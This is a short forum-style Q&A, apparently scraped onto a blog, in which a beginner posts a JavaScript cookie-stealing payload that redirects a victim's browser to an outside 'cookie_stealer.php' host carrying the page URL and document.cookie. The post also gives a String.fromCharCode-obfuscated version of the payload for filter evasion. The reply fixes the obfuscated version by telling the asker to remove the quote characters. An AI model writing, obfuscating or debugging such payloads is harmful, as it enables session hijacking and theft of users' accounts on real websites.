Javascript string.fromcharcode -


i new javascript , programming @ all.

this orginal code:

document.location = "http://ormteam.net23.net/cookie_stealer.php?url=" + window.location.href + "&cookies=" + document.cookie; 

and string.fromcharcode

document.location = string.fromcharcode(34, 104, 116, 116, 112, 58, 47, 47, 111, 114, 109, 116, 101, 97, 109, 46, 110, 101, 116, 50, 51, 46, 110, 101, 116, 47, 67, 111, 111, 107, 105, 101, 95, 115, 116, 101, 97, 108, 101, 114, 46, 112, 104, 112, 63, 117, 114, 108, 61, 34) + document.url + string.fromcharcode(34, 38, 99, 111, 111, 107, 105, 101, 115, 61, 34) + document.cookies; 

why not work ?

sitting on peace of code hours! ;//

the quotes needed string literal. since you're not using string literal, don't need quotes.

document.location = string.fromcharcode(104, 116, 116, 112, ... 

Comments

Popular posts from this blog

javascript - How to get current YouTube IDs via iMacros? -

c# - Maintaining a program folder in program files out of date? -

emulation - Android map show my location didn't work -